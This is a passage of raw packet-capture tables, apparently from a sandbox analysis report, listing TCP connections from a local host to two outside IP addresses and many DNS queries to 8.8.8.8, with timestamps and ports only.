Sep 27, 2024 12:51:56.133407116 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133418083 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133419037 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.133476973 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.347287893 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.347364902 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.631161928 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:52:09.312937021 CEST	49175	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:09.317936897 CEST	50312	49175	45.134.140.68	192.168.2.22
Sep 27, 2024 12:52:09.318085909 CEST	49175	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:09.334175110 CEST	49175	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:09.338956118 CEST	50312	49175	45.134.140.68	192.168.2.22
Sep 27, 2024 12:52:30.703176975 CEST	50312	49175	45.134.140.68	192.168.2.22
Sep 27, 2024 12:52:30.703257084 CEST	49175	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:30.703337908 CEST	49175	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:30.711263895 CEST	50312	49175	45.134.140.68	192.168.2.22
Sep 27, 2024 12:52:37.753170967 CEST	49176	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:37.758080006 CEST	50312	49176	45.134.140.68	192.168.2.22
Sep 27, 2024 12:52:37.758155107 CEST	49176	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:37.761764050 CEST	49176	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:37.766789913 CEST	50312	49176	45.134.140.68	192.168.2.22
Sep 27, 2024 12:52:59.119616032 CEST	50312	49176	45.134.140.68	192.168.2.22
Sep 27, 2024 12:52:59.119714022 CEST	49176	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:59.144716978 CEST	49176	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:52:59.149677038 CEST	50312	49176	45.134.140.68	192.168.2.22
Sep 27, 2024 12:53:33.002523899 CEST	49171	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:54:01.742799044 CEST	49177	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:54:01.747582912 CEST	50312	49177	45.134.140.68	192.168.2.22
Sep 27, 2024 12:54:01.750339985 CEST	49177	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:54:01.758702040 CEST	49177	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:54:01.763690948 CEST	50312	49177	45.134.140.68	192.168.2.22
Sep 27, 2024 12:54:23.159853935 CEST	50312	49177	45.134.140.68	192.168.2.22
Sep 27, 2024 12:54:23.160130024 CEST	49177	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:54:23.161056042 CEST	49177	50312	192.168.2.22	45.134.140.68
Sep 27, 2024 12:54:23.175658941 CEST	50312	49177	45.134.140.68	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 12:51:31.103806019 CEST	54562	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:31.117337942 CEST	53	54562	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:33.760612965 CEST	52917	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:33.772002935 CEST	53	52917	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:35.515815020 CEST	62751	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:35.529005051 CEST	53	62751	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:35.530850887 CEST	57893	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:35.538244963 CEST	53	57893	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:39.588354111 CEST	54821	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:39.595208883 CEST	53	54821	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:39.597053051 CEST	54719	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:39.608285904 CEST	53	54719	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:40.912826061 CEST	49881	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:40.933341980 CEST	53	49881	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:40.935252905 CEST	54998	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:40.942069054 CEST	53	54998	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:50.204842091 CEST	52781	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:50.211376905 CEST	53	52781	8.8.8.8	192.168.2.22
Sep 27, 2024 12:51:56.682825089 CEST	63926	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:57.681818008 CEST	63926	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:51:58.695801973 CEST	63926	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:00.708497047 CEST	63926	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:01.689421892 CEST	53	63926	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:02.688401937 CEST	53	63926	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:02.694823980 CEST	65510	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:03.702383995 CEST	53	63926	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:03.703469038 CEST	65510	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:03.817558050 CEST	53	63926	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:04.717514038 CEST	65510	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:06.731138945 CEST	65510	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:07.701378107 CEST	53	65510	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:08.709635973 CEST	53	65510	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:09.100706100 CEST	62672	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:09.107887983 CEST	53	62672	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:09.724097967 CEST	53	65510	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:11.762531996 CEST	53	65510	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:31.719338894 CEST	56475	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:32.721080065 CEST	56475	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:33.733685970 CEST	56475	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:35.745956898 CEST	56475	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:36.728404045 CEST	53	56475	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:36.826630116 CEST	53	56475	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:37.745115042 CEST	49384	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:52:37.752424955 CEST	53	49384	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:38.740008116 CEST	53	56475	8.8.8.8	192.168.2.22
Sep 27, 2024 12:52:40.752069950 CEST	53	56475	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:00.170618057 CEST	54842	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:00.368447065 CEST	53	54842	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:00.368963003 CEST	54842	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:01.377011061 CEST	54842	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:03.389255047 CEST	54842	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:05.380186081 CEST	53	54842	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:05.380410910 CEST	54842	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:06.385660887 CEST	53	54842	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:07.410631895 CEST	58105	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:08.412539005 CEST	58105	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:08.419262886 CEST	53	58105	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:08.419467926 CEST	58105	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:08.426491976 CEST	53	58105	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:08.426665068 CEST	58105	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:08.632849932 CEST	53	54842	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:10.386605978 CEST	53	54842	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:12.421672106 CEST	58105	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:12.427447081 CEST	53	58105	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:13.434952974 CEST	53	58105	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:13.445568085 CEST	64928	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:13.615089893 CEST	53	64928	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:13.615322113 CEST	64928	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:14.632747889 CEST	64928	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:16.633691072 CEST	64928	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:16.779191971 CEST	53	64928	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:16.782390118 CEST	64928	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:16.793035030 CEST	53	64928	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:17.430013895 CEST	53	58105	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:17.793962955 CEST	53	64928	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:17.864708900 CEST	57390	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:17.880947113 CEST	53	57390	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:17.881176949 CEST	57390	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:17.963257074 CEST	53	57390	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:17.973742008 CEST	57390	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:17.984709024 CEST	53	57390	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:17.984872103 CEST	57390	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:17.991823912 CEST	53	57390	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:17.991961956 CEST	57390	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:17.999262094 CEST	53	57390	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:18.689536095 CEST	53	64928	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:19.014983892 CEST	58095	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:19.089066982 CEST	53	58095	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:19.089282036 CEST	58095	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:19.099067926 CEST	53	58095	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:19.099222898 CEST	58095	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:19.106091022 CEST	53	58095	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:19.106216908 CEST	58095	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:19.119169950 CEST	53	58095	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:19.119349957 CEST	58095	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:19.131695986 CEST	53	58095	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:20.156239986 CEST	54261	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:21.157814026 CEST	54261	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:21.254677057 CEST	53	54261	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:21.254931927 CEST	54261	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:21.262382984 CEST	53	54261	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:21.262566090 CEST	54261	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:25.260504007 CEST	54261	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:26.034904003 CEST	53	54261	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:26.313342094 CEST	53	54261	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:27.045352936 CEST	60507	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:27.099343061 CEST	53	54261	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:27.105560064 CEST	53	60507	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:27.105776072 CEST	60507	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:27.121918917 CEST	53	60507	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:27.122139931 CEST	60507	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:27.130748987 CEST	53	60507	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:27.130896091 CEST	60507	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:27.138137102 CEST	53	60507	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:27.138268948 CEST	60507	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:27.145992994 CEST	53	60507	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:28.156682968 CEST	50446	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:28.576081991 CEST	53	50446	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:28.576432943 CEST	50446	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:28.583595991 CEST	53	50446	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:28.611727953 CEST	50446	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:28.618961096 CEST	53	50446	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:28.620433092 CEST	50446	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:28.627381086 CEST	53	50446	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:28.628386974 CEST	50446	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:28.635029078 CEST	53	50446	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:29.654067993 CEST	55939	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:30.668418884 CEST	55939	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:30.702874899 CEST	53	55939	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:30.703072071 CEST	55939	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:32.705634117 CEST	55939	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:32.711815119 CEST	53	55939	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:32.728193998 CEST	55939	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:34.769220114 CEST	53	55939	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:35.713361979 CEST	53	55939	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:35.822860956 CEST	49608	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:36.847718000 CEST	49608	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:36.854726076 CEST	53	49608	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:36.854953051 CEST	49608	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:37.734555006 CEST	53	55939	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:38.863867044 CEST	49608	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:38.870749950 CEST	53	49608	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:38.871081114 CEST	49608	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:38.877532005 CEST	53	49608	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:39.883455038 CEST	61486	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:39.890532970 CEST	53	61486	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:39.890722036 CEST	61486	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:39.898092985 CEST	53	61486	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:39.898230076 CEST	61486	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:39.905225039 CEST	53	61486	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:39.905344009 CEST	61486	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:39.913239956 CEST	53	61486	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:39.917277098 CEST	61486	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:39.923724890 CEST	53	61486	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:40.829200983 CEST	53	49608	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:40.971227884 CEST	62453	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:41.861426115 CEST	53	49608	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:41.996819973 CEST	62453	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:43.026762009 CEST	62453	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:45.025789976 CEST	62453	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:46.200342894 CEST	53	62453	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:46.200613976 CEST	62453	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:47.003608942 CEST	53	62453	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:47.304478884 CEST	53	62453	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:48.015567064 CEST	50568	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:48.033371925 CEST	53	62453	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:49.019390106 CEST	50568	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:49.425704956 CEST	53	50568	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:49.425901890 CEST	50568	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:49.432674885 CEST	53	50568	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:49.432832003 CEST	50568	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:50.034231901 CEST	53	62453	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:52.537024975 CEST	53	50568	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:52.537313938 CEST	50568	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:52.544259071 CEST	53	50568	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:53.553610086 CEST	61467	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:53.939667940 CEST	53	50568	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:54.031927109 CEST	53	61467	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:54.032134056 CEST	61467	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:54.039519072 CEST	53	61467	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:54.039829969 CEST	61467	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:54.048127890 CEST	53	61467	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:54.048264980 CEST	61467	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:54.055480003 CEST	53	61467	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:54.055615902 CEST	61467	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:54.062772989 CEST	53	61467	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:55.254973888 CEST	61618	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:56.257906914 CEST	61618	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:56.264687061 CEST	53	61618	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:56.264853001 CEST	61618	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:56.271814108 CEST	53	61618	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:56.271974087 CEST	61618	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:56.278295040 CEST	53	61618	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:56.278548002 CEST	61618	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:56.285697937 CEST	53	61618	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:56.351878881 CEST	53	61618	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:57.292988062 CEST	54422	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:57.300039053 CEST	53	54422	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:57.302481890 CEST	54422	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:57.310620070 CEST	53	54422	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:57.314451933 CEST	54422	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:57.321315050 CEST	53	54422	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:57.327419043 CEST	54422	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:57.334239960 CEST	53	54422	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:57.338381052 CEST	54422	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:57.345212936 CEST	53	54422	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:58.354511976 CEST	52074	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:58.362145901 CEST	53	52074	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:58.362325907 CEST	52074	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:58.369751930 CEST	53	52074	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:58.369890928 CEST	52074	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:58.376868010 CEST	53	52074	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:58.376998901 CEST	52074	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:58.383585930 CEST	53	52074	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:58.383708000 CEST	52074	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:58.390918970 CEST	53	52074	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:59.402847052 CEST	50337	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:59.409761906 CEST	53	50337	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:59.410008907 CEST	50337	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:59.416726112 CEST	53	50337	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:59.416981936 CEST	50337	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:59.423537970 CEST	53	50337	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:59.423688889 CEST	50337	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:59.430841923 CEST	53	50337	8.8.8.8	192.168.2.22
Sep 27, 2024 12:53:59.430968046 CEST	50337	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:53:59.438091993 CEST	53	50337	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:00.448559046 CEST	61826	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:00.586030006 CEST	53	61826	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:00.586544037 CEST	61826	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:00.593481064 CEST	53	61826	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:00.594464064 CEST	61826	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:00.601928949 CEST	53	61826	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:00.602626085 CEST	61826	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:00.609203100 CEST	53	61826	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:00.610601902 CEST	61826	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:00.618079901 CEST	53	61826	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:01.697026968 CEST	56329	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:01.704528093 CEST	53	56329	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:01.706152916 CEST	56329	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:01.713033915 CEST	53	56329	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:01.726037025 CEST	56329	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:01.733222008 CEST	53	56329	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:01.734406948 CEST	56329	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:01.741456985 CEST	53	56329	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:24.176172972 CEST	63469	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:24.221298933 CEST	53	63469	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:24.221484900 CEST	63469	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:24.230035067 CEST	53	63469	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:24.230211973 CEST	63469	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:24.241312027 CEST	53	63469	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:24.241676092 CEST	63469	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:24.253029108 CEST	53	63469	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:24.253168106 CEST	63469	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:24.259841919 CEST	53	63469	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:25.286578894 CEST	59447	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:25.345444918 CEST	53	59447	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:25.348685980 CEST	59447	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:25.394316912 CEST	53	59447	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:25.394542933 CEST	59447	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:25.422143936 CEST	53	59447	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:25.422580004 CEST	59447	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:25.459995985 CEST	53	59447	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:25.460236073 CEST	59447	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:25.517633915 CEST	53	59447	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:26.702043056 CEST	51828	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:27.732548952 CEST	51828	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:28.737181902 CEST	51828	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:28.892338037 CEST	53	51828	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:28.892606020 CEST	51828	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:28.939970970 CEST	53	51828	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:28.940253019 CEST	51828	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:29.034223080 CEST	53	51828	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:30.052012920 CEST	53406	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:30.061414957 CEST	53	53406	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:30.062529087 CEST	53406	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:30.069441080 CEST	53	53406	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:30.070456982 CEST	53406	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:30.077294111 CEST	53	53406	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:30.078438997 CEST	53406	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:30.085267067 CEST	53	53406	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:30.086441994 CEST	53406	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:30.094918013 CEST	53	53406	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:31.113188028 CEST	56345	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:31.120096922 CEST	53	56345	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:31.122487068 CEST	56345	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:31.129399061 CEST	53	56345	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:31.130450964 CEST	56345	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:31.923355103 CEST	53	51828	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:33.136409044 CEST	56345	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:33.143549919 CEST	53	56345	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:33.143716097 CEST	56345	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:33.751483917 CEST	53	51828	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:36.137023926 CEST	53	56345	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:37.150149107 CEST	51870	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:38.150319099 CEST	53	56345	8.8.8.8	192.168.2.22
Sep 27, 2024 12:54:38.159568071 CEST	51870	53	192.168.2.22	8.8.8.8
